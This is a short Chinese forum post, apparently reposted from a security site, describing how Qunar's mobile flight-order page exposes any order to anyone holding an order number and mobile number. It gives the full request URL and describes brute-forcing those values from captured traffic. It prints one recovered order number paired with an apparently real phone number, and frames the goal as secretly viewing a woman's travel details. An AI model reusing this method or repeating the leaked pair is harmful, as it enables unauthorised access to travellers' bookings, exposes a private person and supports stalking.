去哪儿订单任意查询（需要字典强大）
去哪儿今天去哪儿，去哪儿不如来（小熊旅游）http://touch.qunar.com/
手机登陆端
于是就借了同事去哪儿账号登陆
查看订单
1
/flightOrderDetail.jsp?orderNo=xxxxxxxx&mobile=1860xxxxxx&sn=9FC5A13F13384B98EBE251472B1F8411&r=1&bd_source=3w_flight_sms&bd_from_id=wise&bd_ref_id=light_null&bd_channel_id=light_null&bd_sub_page=h5_mobile&bd_source_light=2264015
orderno=订单号
moble=就是手机好了
其他参数都是 null=空
意思就是说只要有了这两件东西 岂不就是随变查看女神在去哪儿的秘密呢吗
抓包爆破
扫了半天就出来一个
lxh130430100540515 18611932216
原文来自：安全周刊http://i.szxxly.cn http://i.szxxly.cn/zb_users/upload/2016/05/201605261464240211405746.jpg
图片地址 看好你哦 握草，https://www.ihonker.org//mobcent//app/data/phiz/default/15.png
页:
[1]